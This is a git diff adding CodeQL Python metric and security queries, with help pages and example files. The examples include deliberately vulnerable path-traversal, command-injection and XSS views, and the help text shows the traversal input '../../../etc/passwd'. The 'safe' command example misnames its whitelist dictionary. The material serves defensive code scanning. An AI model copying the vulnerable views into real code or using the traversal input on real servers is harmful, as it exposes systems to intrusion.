    diff --git a/python/ql/src/Metrics/ModuleEfferentCoupling.ql b/python/ql/src/Metrics/ModuleEfferentCoupling.ql new file mode 100644 index 00000000000..be32b8bc561 --- /dev/null +++ b/python/ql/src/Metrics/ModuleEfferentCoupling.ql @@ -0,0 +1,18 @@ +/** + * @name Outgoing module dependencies + * @description The number of modules that this module depends upon. + * @kind treemap + * @id py/efferent-coupling-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg max + * @tags testability + * modularity + */ + +import python + +from ModuleMetrics m +select m, m.getEfferentCoupling() as n +order by n desc + diff --git a/python/ql/src/Metrics/NumberOfParameters1.py b/python/ql/src/Metrics/NumberOfParameters1.py new file mode 100644 index 00000000000..b0343da8853 --- /dev/null +++ b/python/ql/src/Metrics/NumberOfParameters1.py @@ -0,0 +1,5 @@ +def print_annotation(message, line, offset, length): + print("Message: " + message) + print("Line: " + line) + print("Offset: " + offset) + print("Length: " + length) \ No newline at end of file diff --git a/python/ql/src/Metrics/NumberOfParameters1Good.py b/python/ql/src/Metrics/NumberOfParameters1Good.py new file mode 100644 index 00000000000..6788b12e43d --- /dev/null +++ b/python/ql/src/Metrics/NumberOfParameters1Good.py @@ -0,0 +1,9 @@ +class Annotation: + #... + pass + +def print_annotation(annotation): + print("Message: " + annotation.message) + print("Line: " + annotation.line) + print("Offset: " + annotation.offset) + print("Length: " + annotation.length) diff --git a/python/ql/src/Metrics/NumberOfParameters2.py b/python/ql/src/Metrics/NumberOfParameters2.py new file mode 100644 index 00000000000..8429b98dd15 --- /dev/null +++ b/python/ql/src/Metrics/NumberOfParameters2.py @@ -0,0 +1,13 @@ +def print_membership(fellows, members, associates, students): + for f in fellows: + print(f) + for m in members: + print(m) + for a in associates: + print(a) + for s in students: + print(s) + +def print_records(): + #... + print_membership(fellows, members, associates, students) \ No newline at end of file diff --git a/python/ql/src/Metrics/NumberOfParameters2Good.py b/python/ql/src/Metrics/NumberOfParameters2Good.py new file mode 100644 index 00000000000..82300c467ea --- /dev/null +++ b/python/ql/src/Metrics/NumberOfParameters2Good.py @@ -0,0 +1,13 @@ + +def print_fellows(fellows): + for f in fellows: + print(f) + +#... + +def print_records(): + #... + print_fellows(fellows) + print_members(members) + print_associates(associates) + print_students(students) \ No newline at end of file diff --git a/python/ql/src/Metrics/NumberOfParametersWithoutDefault.qhelp b/python/ql/src/Metrics/NumberOfParametersWithoutDefault.qhelp new file mode 100644 index 00000000000..cfeb5fc41be --- /dev/null +++ b/python/ql/src/Metrics/NumberOfParametersWithoutDefault.qhelp @@ -0,0 +1,92 @@ + + + + +

    +A function (or method) that uses a high number of parameters makes maintenance more difficult: +

    + +
      +
    • It is difficult to write a call to the function, because the programmer must know how to +supply an appropriate value for each parameter.
    • + +
    • It is externally difficult to understand, because calls +to the function are longer than a single line of code.
    • + +
    • It can be internally difficult to understand, because it +has so many dependencies.
    • +
    + +
    + + +

    +Restrict the number of parameters for a function, according to the reason for the high number: +

    + +
      +
    • Several of the parameters are logically related, but are +passed into the function separately. The parameters that are logically related should be grouped together +(see the 'Introduce Parameter Object' refactoring on pp. 238-242 of [Fowler]).
    • + +
    • The function has too many responsibilities. It should be broken into multiple functions (see the +'Extract Method' refactoring on pp. 89-95 of [Fowler]), and each new function should be passed +a subset of the original parameters.
    • + +
    • The function has redundant parameters that are not used. The two main reasons for this are: +(1) parameters were added for future extensibility but are never used; (2) the body of the function was changed +so that it no longer uses certain parameters, but the function signature was not +correspondingly updated. In both cases, the theoretically correct solution is to delete the unused +parameters (see the 'Remove Parameter' refactoring on pp. 223-225 of [Fowler]), although you must do +this cautiously if the function is part of a published interface.
    • +
    + +

    When a function is part of a published interface, one possible solution is to add a new, wrapper +function to the interface that has a tidier signature. Alternatively, you can publish a new version of +the interface that has a better design. Clearly, however, neither of these solutions is ideal, +so you should take care to design interfaces the right way from the start.

    + +

    The practice of adding parameters for future extensibility is especially +bad. It is confusing to other programmers, who are uncertain what values they should pass +in for these unnecessary parameters, and it adds unused code that is potentially difficult to remove +later.

    + +
    +
    + +

    In the following example, although the parameters are logically related, they are passed into the +print_annotation function separately.

    + + + +

    In the following modified example, the print_annotation function is simplified by logically grouping +the related parameters into a single class. +An instance of the class can then be passed into the function instead, as shown below. +

    + + + +

    In the following example, the print_membership function has too many responsibilities, +and so needs to be passed four arguments.

    + + + +

    In the following modified example, print_membership has been broken into four functions. +(For brevity, only one function is shown.) As a result, each new function needs to be passed only one +of the original four arguments.

    + + + +
    + + + +
  • +M. Fowler, Refactoring. Addison-Wesley, 1999. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/NumberOfParametersWithoutDefault.ql b/python/ql/src/Metrics/NumberOfParametersWithoutDefault.ql new file mode 100644 index 00000000000..4ddd2ba1f0e --- /dev/null +++ b/python/ql/src/Metrics/NumberOfParametersWithoutDefault.ql @@ -0,0 +1,18 @@ +/** + * @name Number of parameters without defaults + * @description The number of parameters of a function that do not have default values defined. + * @kind treemap + * @id py/number-of-parameters-without-default-per-function + * @treemap.warnOn highValues + * @metricType callable + * @metricAggregate avg max + * @tags testability + * complexity + */ + +import python + + +from FunctionMetrics func +select func, func.getNumberOfParametersWithoutDefault() as n +order by n desc diff --git a/python/ql/src/Metrics/NumberOfStatements.qhelp b/python/ql/src/Metrics/NumberOfStatements.qhelp new file mode 100644 index 00000000000..e33313c91f6 --- /dev/null +++ b/python/ql/src/Metrics/NumberOfStatements.qhelp @@ -0,0 +1,65 @@ + + + +

    +This metric measures the number of statements that occur in a module. +

    + +

    +If there are too many statements in a module, it is generally +for one of two reasons: +

    + +
      +
    • +One or more individual classes or functions of the module contain too many statements, +making them hard to understand, difficult to check and a common source of defects +(particularly towards the end of the class or function, since few people ever read that +far). These entities typically lack cohesion because they are trying to do too many things. +
    • + +
    • +The module contains too many functions or classes, which generally indicates that it is +trying to do too much, either at the interface or implementation level or +both. It can be difficult for readers to understand because there is a +confusing list of operations. +
    • +
    + +
    + + +

    +As described above, modules reported as violations by this rule contain one +or more classes or functions with too many statements, or the module itself contains +too many classes or functions.

    + +
      +
    • +Individual classes or functions of the module that contain too many statements +should be refactored into multiple, smaller parts. As a rough +guide, functions should be able to fit on a single screen or side of A4. Anything +longer than that increases the risk of introducing new defects during routine code changes. +
    • + +
    • +Modules that contain too many functions or classes often lack cohesion and are +prime candidates for refactoring. +
    • +
    + + +
    + + + +
  • +M. Fowler. Refactoring. Addison-Wesley, 1999. +
  • + + + +
    +
    diff --git a/python/ql/src/Metrics/NumberOfStatements.ql b/python/ql/src/Metrics/NumberOfStatements.ql new file mode 100644 index 00000000000..66263f68a84 --- /dev/null +++ b/python/ql/src/Metrics/NumberOfStatements.ql @@ -0,0 +1,15 @@ +/** + * @name Number of statements + * @description The number of statements in this module + * @kind treemap + * @id py/number-of-statements-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + */ +import python + +from Module m, int n +where n = count(Stmt s | s.getEnclosingModule() = m) +select m, n +order by n desc diff --git a/python/ql/src/Metrics/TransitiveImports.qhelp b/python/ql/src/Metrics/TransitiveImports.qhelp new file mode 100644 index 00000000000..7946423547f --- /dev/null +++ b/python/ql/src/Metrics/TransitiveImports.qhelp @@ -0,0 +1,25 @@ + + + +

    This metric measures the number of modules that are imported by each module (file) - either directly +by an import statement or indirectly (that is, imported by a module that is imported). Modules that +import many other modules often have too many responsibilities and are not well-focused. +This makes it difficult to understand and maintain the module. +

    + +
    + +

    Split and/or refactor files with too many responsibilities to create modules with a single, +well-defined role.

    + +
    + + +
  • Python Language Reference: The import statement. +
  • M. Fowler, Refactoring. Addison-Wesley, 1999.
  • +
  • Wikipedia: Code refactoring.
  • + +
    +
    diff --git a/python/ql/src/Metrics/TransitiveImports.ql b/python/ql/src/Metrics/TransitiveImports.ql new file mode 100644 index 00000000000..11fe7ee8f7e --- /dev/null +++ b/python/ql/src/Metrics/TransitiveImports.ql @@ -0,0 +1,16 @@ +/** + * @name Indirect imports per file + * @description The number of modules imported by this file - either directly by an import statement, + * or indirectly (by being imported by an imported module). + * @kind treemap + * @id py/transitive-imports-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg max + * @tags modularity + */ +import python + +from ModuleObject m, int n +where n = count(ModuleObject imp | imp = m.getAnImportedModule+() and imp != m) +select m.getModule(), n \ No newline at end of file diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.py b/python/ql/src/Resources/FileNotAlwaysClosed.py new file mode 100644 index 00000000000..5f5f10345c7 --- /dev/null +++ b/python/ql/src/Resources/FileNotAlwaysClosed.py @@ -0,0 +1,15 @@ +f = open("filename") + ... # Actions to perform on file +f.close() +# File only closed if actions are completed successfully + +with open("filename") as f: + ...# Actions to perform on file +# File always closed + +f = open("filename") +try: + ... # Actions to perform on file +finally: + f.close() +# File always closed diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.qhelp b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp new file mode 100644 index 00000000000..71073caa47b --- /dev/null +++ b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp @@ -0,0 +1,40 @@ + + + + +

    If a file is opened then it should always be closed again, even if an +exception is raised. +Failing to ensure that all files are closed may result in failure due to too +many open files.

    + +
    + + +

    Ensure that if you open a file it is always closed on exiting the method. +Wrap the code between the open() and close() +functions in a with statement or use a try...finally +statement. Using a with statement is preferred as it is shorter +and more readable.

    + +
    + +

    The following code shows examples of different ways of closing a file. In the first example, the +file is closed only if the method is exited successfully. In the other examples, the file is always +closed on exiting the method.

    + + + +
    + + + +
  • Python Language Reference: The with statement, + The try statement.
  • +
  • Python PEP 343: The "with" Statement.
  • + + + +
    +
    diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.ql b/python/ql/src/Resources/FileNotAlwaysClosed.ql new file mode 100755 index 00000000000..870c041402e --- /dev/null +++ b/python/ql/src/Resources/FileNotAlwaysClosed.ql @@ -0,0 +1,72 @@ +/** + * @name File is not always closed + * @description Opening a file without ensuring that it is always closed may cause resource leaks. + * @kind problem + * @tags efficiency + * correctness + * resources + * external/cwe/cwe-772 + * @problem.severity warning + * @sub-severity high + * @precision medium + * @id py/file-not-closed + */ + +import python +import FileOpen + +/** Whether resource is opened and closed in in a matched pair of methods, + * either __enter__ and __exit__ or __init__ and __del__ */ +predicate opened_in_enter_closed_in_exit(ControlFlowNode open) { + file_not_closed_at_scope_exit(open) and + exists(FunctionObject entry, FunctionObject exit | + open.getScope() = entry.getFunction() and + exists(ClassObject cls | + cls.declaredAttribute("__enter__") = entry and cls.declaredAttribute("__exit__") = exit + or + cls.declaredAttribute("__init__") = entry and cls.declaredAttribute("__del__") = exit + ) + and + exists(AttrNode attr_open, AttrNode attrclose | + attr_open.getScope() = entry.getFunction() and + attrclose.getScope() = exit.getFunction() and + expr_is_open(attr_open.(DefinitionNode).getValue(), open) and + attr_open.getName() = attrclose.getName() and + close_method_call(_, attrclose) + ) + ) +} + +predicate file_not_closed_at_scope_exit(ControlFlowNode open) { + exists(EssaVariable v | + BaseFlow::reaches_exit(v) and + var_is_open(v, open) and + not file_is_returned(v, open) + ) + or + call_to_open(open) and not exists(AssignmentDefinition def | def.getValue() = open) + and not exists(Return r | r.getValue() = open.getNode()) +} + +predicate file_not_closed_at_exception_exit(ControlFlowNode open, ControlFlowNode exit) { + exists(EssaVariable v | + exit.(RaisingNode).viableExceptionalExit(_, _) and + not closes_arg(exit, v.getSourceVariable()) and + not close_method_call(exit, v.getAUse().(NameNode)) and + var_is_open(v, open) and + v.getAUse() = exit.getAChild*() + ) +} + +/* Check to see if a file is opened but not closed or returned */ + +from ControlFlowNode defn, string message +where +not opened_in_enter_closed_in_exit(defn) and +( + file_not_closed_at_scope_exit(defn) and message = "File is opened but is not closed." + or + not file_not_closed_at_scope_exit(defn) and file_not_closed_at_exception_exit(defn, _) and message = "File may not be closed if an exception is raised." +) + +select defn.getNode(), message diff --git a/python/ql/src/Resources/FileOpen.qll b/python/ql/src/Resources/FileOpen.qll new file mode 100644 index 00000000000..ec07749587f --- /dev/null +++ b/python/ql/src/Resources/FileOpen.qll @@ -0,0 +1,156 @@ +import python +import semmle.python.GuardedControlFlow +import semmle.python.dataflow.SsaDefinitions +import semmle.python.pointsto.Filters + +/** Holds if `open` is a call that returns a newly opened file */ +predicate call_to_open(ControlFlowNode open) { + exists(FunctionObject f | + function_opens_file(f) and + f.getACall() = open + ) and + /* If in `with` statement, then it will be automatically closed. So just treat as not opened */ + not exists(With w | w.getContextExpr() = open.getNode()) +} + +/** Holds if `n` refers to a file opened at `open` */ +predicate expr_is_open(ControlFlowNode n, ControlFlowNode open) { + call_to_open(open) and open = n + or + exists(EssaVariable v | + n instanceof NameNode and + var_is_open(v, open) | + n = v.getAUse() + or + wraps_file(n, v) + ) +} + +/** Holds if `call` wraps the object referred to by `v` and returns it */ +private predicate wraps_file(CallNode call, EssaVariable v) { + exists(ClassObject cls | + call = cls.getACall() and + call.getAnArg() = v.getAUse() + ) +} + +/** Holds if `var` refers to a file opened at `open` */ +predicate var_is_open(EssaVariable v, ControlFlowNode open) { + def_is_open(v.getDefinition(), open) and + /* If use in context expression in `with` statement, then it will be automatically closed. */ + not exists(With w | w.getContextExpr() = v.getAUse().getNode()) +} + +/** Holds if `test` will pass through an open file in variable `v` for the `sense` successor */ +predicate passes_open_files(Variable v, ControlFlowNode test, boolean sense) { + // `if fd.closed:` + exists(AttrNode closed | + closed = test and + closed.getObject("closed") = v.getAUse() + ) and sense = false + or + // `if fd ==/is ...:` most commonly `if fd is None:` + equality_test(test, v.getAUse(), sense.booleanNot(), _) + or + // `if fd:` + test = v.getAUse() and sense = true + or + exists(UnaryExprNode n | + n = test and + n.getNode().getOp() instanceof Not | + passes_open_files(v, n.getOperand(), sense.booleanNot()) + ) +} + +/* Helper for `def_is_open` to give better join order */ +private predicate passes_open_files(PyEdgeRefinement refinement) { + passes_open_files(refinement.getSourceVariable(), refinement.getPredecessor().getLastNode(), refinement.getSense()) +} + +/** Holds if `def` refers to a file opened at `open` */ +predicate def_is_open(EssaDefinition def, ControlFlowNode open) { + expr_is_open(def.(AssignmentDefinition).getValue(), open) + or + exists(PyEdgeRefinement refinement | + refinement = def | + var_is_open(refinement.getInput(), open) and + passes_open_files(refinement) + ) + or + exists(PyNodeRefinement refinement | + refinement = def | + not closes_file(def) and not wraps_file(refinement.getDefiningNode(), refinement.getInput()) and + var_is_open(refinement.getInput(), open) + ) + or + var_is_open(def.(PhiFunction).getAnInput(), open) +} + +/** Holds if `call` closes a file */ +predicate closes_file(EssaNodeRefinement call) { + closes_arg(call.(ArgumentRefinement).getDefiningNode(), call.getSourceVariable()) or + close_method_call(call.(MethodCallsiteRefinement).getCall(), call.getSourceVariable().(Variable).getAUse()) +} + +/** Holds if `call` closes its argument, which is an open file referred to by `v` */ +predicate closes_arg(CallNode call, Variable v) { + call.getAnArg() = v.getAUse() and + ( + exists(FunctionObject close | + call = close.getACall() and function_closes_file(close) + ) + or + call.getFunction().(NameNode).getId() = "close" + ) +} + +/** Holds if `call` closes its 'self' argument, which is an open file referred to by `v` */ +predicate close_method_call(CallNode call, ControlFlowNode self) { + call.getFunction().(AttrNode).getObject() = self and + exists(FunctionObject close | + call = close.getACall() and function_closes_file(close) + ) + or + call.getFunction().(AttrNode).getObject("close") = self +} + +predicate function_closes_file(FunctionObject close) { + close.hasLongName("os.close") + or + function_should_close_parameter(close.getFunction()) +} + +predicate function_should_close_parameter(Function func) { + exists(EssaDefinition def | + closes_file(def) and + def.getSourceVariable().(Variable).getScope() = func + ) +} + +predicate function_opens_file(FunctionObject f) { + f = theOpenFunction() + or + exists(EssaVariable v, Return ret | + ret.getScope() = f.getFunction() | + ret.getValue().getAFlowNode() = v.getAUse() and + var_is_open(v, _) + ) + or + exists(Return ret, FunctionObject callee | + ret.getScope() = f.getFunction() | + ret.getValue().getAFlowNode() = callee.getACall() and + function_opens_file(callee) + ) +} + +predicate file_is_returned(EssaVariable v, ControlFlowNode open) { + exists(NameNode n, Return ret | + var_is_open(v, open) and + v.getAUse() = n | + ret.getValue() = n.getNode() + or + ret.getValue().(Tuple).getAnElt() = n.getNode() + or + ret.getValue().(List).getAnElt() = n.getNode() + ) +} diff --git a/python/ql/src/Security/CWE-022/PathInjection.qhelp b/python/ql/src/Security/CWE-022/PathInjection.qhelp new file mode 100644 index 00000000000..4a4fb3f4bd7 --- /dev/null +++ b/python/ql/src/Security/CWE-022/PathInjection.qhelp @@ -0,0 +1,61 @@ + + + + +

    +Accessing files using paths constructed from user-controlled data can allow an attacker to access +unexpected resources. This can result in sensitive information being revealed or deleted, or an +attacker being able to influence behavior by modifying unexpected files. +

    +
    + + +

    +Validate user input before using it to construct a file path, either using an off-the-shelf library function +like werkzeug.utils.secure_filename, or by performing custom validation. +

    + +

    +Ideally, follow these rules: +

    + +
      +
    • Do not allow more than a single "." character.
    • +
    • Do not allow directory separators such as "/" or "\" (depending on the file system).
    • +
    • Do not rely on simply replacing problematic sequences such as "../". For example, after +applying this filter to ".../...//", the resulting string would still be "../".
    • +
    • Use a whitelist of known good patterns.
    • +
    +
    + + +

    +In the first example, a file name is read from an HTTP request and then used to access a file. +However, a malicious user could enter a file name that is an absolute path, such as +"/etc/passwd". +

    + +

    +In the second example, it appears that the user is restricted to opening a file within the +"user" home directory. However, a malicious user could enter a file name containing +special characters. For example, the string "../../../etc/passwd" will result in the code +reading the file located at "/server/static/images/../../../etc/passwd", which is the system's +password file. This file would then be sent back to the user, giving them access to all the +system's passwords. +

    + +

    +In the third example, the path used to access the file system is normalized before being checked against a +known prefix. This ensures that regardless of the user input, the resulting path is safe. +

    + + +
    + + +
  • OWASP: Path Traversal.
  • +
  • npm: werkzeug.utils.secure_filename.
  • +
    +
    diff --git a/python/ql/src/Security/CWE-022/PathInjection.ql b/python/ql/src/Security/CWE-022/PathInjection.ql new file mode 100644 index 00000000000..1b1eb33a507 --- /dev/null +++ b/python/ql/src/Security/CWE-022/PathInjection.ql @@ -0,0 +1,31 @@ +/** + * @name Uncontrolled data used in path expression + * @description Accessing paths influenced by users can allow an attacker to access unexpected resources. + * @kind path-problem + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/path-injection + * @tags correctness + * security + * external/owasp/owasp-a1 + * external/cwe/cwe-022 + * external/cwe/cwe-023 + * external/cwe/cwe-036 + * external/cwe/cwe-073 + * external/cwe/cwe-099 + */ + +import python +import semmle.python.security.Paths + +/* Sources */ +import semmle.python.web.HttpRequest + +/* Sinks */ +import semmle.python.security.injection.Path + + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "This path depends on $@.", src.getSource(), "a user-provided value" \ No newline at end of file diff --git a/python/ql/src/Security/CWE-022/examples/tainted_path.py b/python/ql/src/Security/CWE-022/examples/tainted_path.py new file mode 100644 index 00000000000..b7366b9b6cf --- /dev/null +++ b/python/ql/src/Security/CWE-022/examples/tainted_path.py @@ -0,0 +1,37 @@ +import os.path + + +urlpatterns = [ + # Route to user_picture + url(r'^user-pic1$', user_picture1, name='user-picture1'), + url(r'^user-pic2$', user_picture2, name='user-picture2'), + url(r'^user-pic3$', user_picture3, name='user-picture3') +] + + +def user_picture1(request): + """A view that is vulnerable to malicious file access.""" + base_path = '/server/static/images' + filename = request.GET.get('p') + # BAD: This could read any file on the file system + data = open(filename, 'rb').read() + return HttpResponse(data) + +def user_picture2(request): + """A view that is vulnerable to malicious file access.""" + base_path = '/server/static/images' + filename = request.GET.get('p') + # BAD: This could still read any file on the file system + data = open(os.path.join(base_path, filename), 'rb').read() + return HttpResponse(data) + +def user_picture3(request): + """A view that is not vulnerable to malicious file access.""" + base_path = '/server/static/images' + filename = request.GET.get('p') + #GOOD -- Verify with normalised version of path + fullpath = os.path.normpath(os.path.join(base_path, filename)) + if not fullpath.startswith(base_path): + raise SecurityException() + data = open(fullpath, 'rb').read() + return HttpResponse(data) diff --git a/python/ql/src/Security/CWE-078/CommandInjection.qhelp b/python/ql/src/Security/CWE-078/CommandInjection.qhelp new file mode 100644 index 00000000000..0423269c919 --- /dev/null +++ b/python/ql/src/Security/CWE-078/CommandInjection.qhelp @@ -0,0 +1,41 @@ + + + +

    Code that passes user input directly to +exec, eval, or some other library +routine that executes a command, allows the user to execute malicious +code.

    + +
    + + +

    If possible, use hard-coded string literals to specify the command to run +or the library to load. Instead of passing the user input directly to the +process or library function, examine the user input and then choose +among hard-coded string literals.

    + +

    If the applicable libraries or commands cannot be determined at +compile time, then add code to verify that the user input string is +safe before using it.

    + +
    + + +

    The following example shows two functions. The first is unsafe as it takes a shell script that can be changed +by a user, and passes it straight to subprocess.call() without examining it first. +The second is safe as it selects the command from a predefined white-list.

    + + + +
    + + +
  • +OWASP: +Command Injection. +
  • + +
    +
    diff --git a/python/ql/src/Security/CWE-078/CommandInjection.ql b/python/ql/src/Security/CWE-078/CommandInjection.ql new file mode 100755 index 00000000000..639aab3725f --- /dev/null +++ b/python/ql/src/Security/CWE-078/CommandInjection.ql @@ -0,0 +1,28 @@ +/** + * @name Uncontrolled command line + * @description Using externally controlled strings in a command line may allow a malicious + * user to change the meaning of the command. + * @kind path-problem + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/command-line-injection + * @tags correctness + * security + * external/owasp/owasp-a1 + * external/cwe/cwe-078 + * external/cwe/cwe-088 + */ + +import python +import semmle.python.security.Paths + +/* Sources */ +import semmle.python.web.HttpRequest + +/* Sinks */ +import semmle.python.security.injection.Command + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "This command depends on $@.", src.getSource(), "a user-provided value" diff --git a/python/ql/src/Security/CWE-078/examples/command_injection.py b/python/ql/src/Security/CWE-078/examples/command_injection.py new file mode 100644 index 00000000000..54cfb275165 --- /dev/null +++ b/python/ql/src/Security/CWE-078/examples/command_injection.py @@ -0,0 +1,24 @@ + +urlpatterns = [ + # Route to command_execution + url(r'^command-ex1$', command_execution_unsafe, name='command-execution-unsafe'), + url(r'^command-ex2$', command_execution_safe, name='command-execution-safe') +] + +COMMANDS = { + "list" :"ls", + "stat" : "stat" +} + +def command_execution_unsafe(request): + if request.method == 'POST': + action = request.POST.get('action', '') + #BAD -- No sanitizing of input + subprocess.call(["application", action]) + +def command_execution_safe(request): + if request.method == 'POST': + action = request.POST.get('action', '') + #GOOD -- Use a whitelist + subprocess.call(["application", COMMAND[action]]) + diff --git a/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.qhelp b/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.qhelp new file mode 100644 index 00000000000..4497437aac1 --- /dev/null +++ b/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.qhelp @@ -0,0 +1,44 @@ + + + + +

    + +Cross-site scripting (XSS) attacks can occur if untrusted input is not escaped. This applies to templates as well as code. +The jinja2 templates may be vulnerable to XSS if the environment has autoescape set to False. +Unfortunately, jinja2 sets autoescape to False by default. +Explicitly setting autoescape to True when creating an Environment object will prevent this. +

    +
    + + +

    +Avoid setting jinja2 autoescape to False. +Jinja2 provides the function select_autoescape to make sure that the correct auto-escaping is chosen. +For example, it can be used when creating an environment Environment(autoescape=select_autoescape(['html', 'xml']) +

    +
    + + +

    +The following example is a minimal Flask app which shows a safe and an unsafe way to render the given name back to the page. +The first view is unsafe as first_name is not escaped, leaving the page vulnerable to cross-site scripting attacks. +The second view is safe as first_name is escaped, so it is not vulnerable to cross-site scripting attacks. +

    + +
    + + +
  • +Jinja2: API. +
  • +
  • +Wikipedia: Cross-site scripting. +
  • +
  • +OWASP: XSS (Cross Site Scripting) Prevention Cheat Sheet. +
  • +
    +
    diff --git a/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.ql b/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.ql new file mode 100644 index 00000000000..1250cdfd784 --- /dev/null +++ b/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.ql @@ -0,0 +1,48 @@ +/** + * @name Jinja2 templating with autoescape=False + * @description Using jinja2 templates with 'autoescape=False' can + * cause a cross-site scripting vulnerability. + * @kind problem + * @problem.severity error + * @precision medium + * @id py/jinja2/autoescape-false + * @tags security + * external/cwe/cwe-079 + */ + +import python + +ClassObject jinja2EnvironmentOrTemplate() { + exists(ModuleObject jinja2, string name | + jinja2.getName() = "jinja2" and + jinja2.getAttribute(name) = result | + name = "Environment" or + name = "Template" + ) +} + +ControlFlowNode getAutoEscapeParameter(CallNode call) { + exists(Object callable | + call.getFunction().refersTo(callable) | + callable = jinja2EnvironmentOrTemplate() and + result = call.getArgByName("autoescape") + ) +} + +from CallNode call +where +not exists(call.getNode().getStarargs()) and +not exists(call.getNode().getKwargs()) and +( + not exists(getAutoEscapeParameter(call)) and + exists(Object env | + call.getFunction().refersTo(env) and + env = jinja2EnvironmentOrTemplate() + ) + or + exists(Object isFalse | + getAutoEscapeParameter(call).refersTo(isFalse) and isFalse.booleanValue() = false + ) +) + +select call, "Using jinja2 templates with autoescape=False can potentially allow XSS attacks." diff --git a/python/ql/src/Security/CWE-079/ReflectedXss.qhelp b/python/ql/src/Security/CWE-079/ReflectedXss.qhelp new file mode 100644 index 00000000000..8cdeb4d3e79 --- /dev/null +++ b/python/ql/src/Security/CWE-079/ReflectedXss.qhelp @@ -0,0 +1,45 @@ + + + + +

    +Directly writing user input (for example, an HTTP request parameter) to a webpage +without properly sanitizing the input first, allows for a cross-site scripting vulnerability. +

    +
    + + +

    +To guard against cross-site scripting, consider escaping the input before writing user input to the page. +The standard library provides escaping functions: html.escape() for Python 3.2 upwards +or cgi.escape() older versions of Python. +Most frameworks also provide their own escaping functions, for example flask.escape(). +

    +
    + + +

    +The following example is a minimal flask app which shows a safe and unsafe way to render the given name back to the page. +The first view is unsafe as first_name is not escaped, leaving the page vulnerable to cross-site scripting attacks. +The second view is safe as first_name is escaped, so it is not vulnerable to cross-site scripting attacks. +

    + +
    + + +
  • +OWASP: +XSS +(Cross Site Scripting) Prevention Cheat Sheet. +
  • +
  • +Wikipedia: Cross-site scripting. +
  • +
  • +Python Library Reference: +html.escape(). +
  • +
    +
    diff --git a/python/ql/src/Security/CWE-079/ReflectedXss.ql b/python/ql/src/Security/CWE-079/ReflectedXss.ql new file mode 100644 index 00000000000..3a77e0559f6 --- /dev/null +++ b/python/ql/src/Security/CWE-079/ReflectedXss.ql @@ -0,0 +1,30 @@ +/** + * @name Reflected server-side cross-site scripting + * @description Writing user input directly to a web page + * allows for a cross-site scripting vulnerability. + * @kind path-problem + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/reflective-xss + * @tags security + * external/cwe/cwe-079 + * external/cwe/cwe-116 + */ + +import python +import semmle.python.security.Paths + +/* Sources */ +import semmle.python.web.HttpRequest + +/* Sinks */ + +import semmle.python.web.HttpResponse + +/* Flow */ +import semmle.python.security.strings.Untrusted + +from TaintedPathSource src, TaintedPathSink sink +where src.flowsTo(sink) +select sink.getSink(), src, sink, "Cross-site scripting vulnerability due to $@.", src.getSource(), "user-provided value" diff --git a/python/ql/src/Security/CWE-079/examples/jinja2.py b/python/ql/src/Security/CWE-079/examples/jinja2.py new file mode 100644 index 00000000000..2811f5e10e8 --- /dev/null +++ b/python/ql/src/Security/CWE-079/examples/jinja2.py @@ -0,0 +1,27 @@ +from flask import Flask, request, make_response, escape +from jinja2 import Environment, select_autoescape, FileSystemLoader + +app = Flask(__name__) +loader = FileSystemLoader( searchpath="templates/" ) + +unsafe_env = Environment(loader=loader) +safe1_env = Environment(loader=loader, autoescape=True) +safe2_env = Environment(loader=loader, autoescape=select_autoescape()) + +def render_response_from_env(env): + name = request.args.get('name', '') + template = env.get_template('template.html') + return make_response(template.render(name=name)) + +@app.route('/unsafe') +def unsafe(): + return render_response_from_env(unsafe_env) + +@app.route('/safe1') +def safe1(): + return render_response_from_env(safe1_env) + +@app.route('/safe2') +def safe2(): + return render_response_from_env(safe2_env) + diff --git a/python/ql/src/Security/CWE-079/examples/xss.py b/python/ql/src/Security/CWE-079/examples/xss.py new file mode 100644 index 00000000000..fbe5795047b --- /dev/null +++ b/python/ql/src/Security/CWE-079/examples/xss.py @@ -0,0 +1,13 @@ +from flask import Flask, request, make_response, escape + +app = Flask(__name__) + +@app.route('/unsafe') +def unsafe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + first_name) + +@app.route('/safe') +def safe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + escape(first_name)) diff --git a/python/ql/src/Security/CWE-089/SqlInjection.qhelp b/python/ql/src/Security/CWE-089/SqlInjection.qhelp new file mode 100644 index 00000000000..e976401a6b5 --- /dev/null +++ b/python/ql/src/Security/CWE-089/SqlInjection.qhelp @@ -0,0 +1,47 @@ + + + + +

    +If a database query (such as a SQL or NoSQL query) is built from +user-provided data without sufficient sanitization, a user +may be able to run malicious database queries. +

    +
    + + +

    +Most database connector libraries offer a way of safely +embedding untrusted data into a query by means of query parameters +or prepared statements. +

    +
    + + +

    +In the following snippet, from an example django app, +a name is stored in the database using two different queries. +

    + +

    +In the first case, the query string is built by +directly using string formatting from a user-supplied request attribute. +The parameter may include quote characters, so this +code is vulnerable to a SQL injection attack. +

    + +

    +In the second case, the user-supplied request attribute is passed +to the database using query parameters. +

    + + +
    + + +
  • Wikipedia: SQL injection.
  • +
  • OWASP: SQL Injection Prevention Cheat Sheet.
  • +
    +
